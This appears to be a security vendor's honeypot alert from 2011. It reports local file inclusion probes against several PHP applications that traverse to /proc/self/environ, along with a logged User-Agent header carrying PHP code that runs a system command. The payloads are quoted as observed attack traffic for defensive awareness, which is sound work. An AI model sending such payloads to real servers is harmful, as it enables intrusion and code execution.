[Honeypot Alert] User Agent Field Arbitrary PHP Code Execution

While reviewing today's web honeypot logs, SpiderLabs Research identified two new attack variations.

Focus on Local File Inclusion attacks

Here are some of the LFI attack payloads identified today:

GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1GET /ashnews.php?pathtoashnews=../../../../../../../proc/self/environ%00 HTTP/1.1GET /b2-tools/gm-2-b2.php?b2inc=../../../../../../../proc/self/environ%00 HTTP/1.1GET /catalog/shopping_cart.php?_ID=../../../../../../../proc/self/environ%00 HTTP/1.1GET /cpcommerce/_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1GET /e107/e107_handlers/secure_img_render.php?p=../../../../../../../proc/self/environ%00 HTTP/1.1GET /eblog/blog.inc.php?xoopsConfig[xoops_url]=../../../../../../../proc/self/environ%00 HTTP/1.1GET /include/new-visitor.inc.php?lvc_include_dir=../../../../../../../proc/self/environ%00 HTTP/1.1GET /includes/include_once.php?include_file=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1GET /modules/coppermine/themes/default/theme.php?THEME_DIR=../../../../../../../proc/self/environ%00 HTTP/1.1

User-Agent Field PHP Code Execution

While these new probes are interesting, what was even more interesting was the fact that all of these requests also attempted to execute PHP code from within the User-Agent request header. They all had this exact same payload:

208.79.79.14 - - [21/Dec/2011:04:23:10 -0500] "GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1" 404 294 "-" "<?php system(\"id\"); ?>"

This attack vector attemps to execute PHP code when applications evaluate the User-Agent field data and do not do proper input validation. While this attack vector itself is not new, this is the first time we have seen it actively used against our honeypots.

Key Lesson

For security, you must inspect all attack vector locations including request headers and cookie payloads. Care should be taken any time client data is processed. Remember - Users are Evil! You can not trust user data and/or assume that it has not be manipulated is some way.